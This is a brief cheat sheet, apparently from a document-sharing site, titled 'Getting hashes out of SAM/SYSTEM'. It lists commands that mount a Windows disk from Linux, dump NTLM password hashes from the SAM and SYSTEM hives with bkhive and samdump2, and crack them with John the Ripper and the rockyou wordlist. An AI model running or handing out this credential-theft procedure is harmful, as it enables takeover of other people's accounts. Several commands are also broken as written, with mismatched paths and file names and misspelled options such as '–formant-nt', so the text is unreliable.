You are on page 1of 1

Getting hashes out of SAM/SYSTEM

fdisk –l

mount –t ntfs /dev/sdaX /mnt/

cd /media/<something>/Windows32/System32/config

bkhive SYSTEM /root/hive.txt

samdump2 SAM /root/hive.txt > /root/hash.txt

john hashes

cd /usr/share/wordlists/

gunzip rockyou.txt.gz

john /root/hashes.txt –wordlist=/usr/share/wordlists/rockyou.txt –rules –format-nt

john /root/hashes.txt –show –formant-nt

You might also like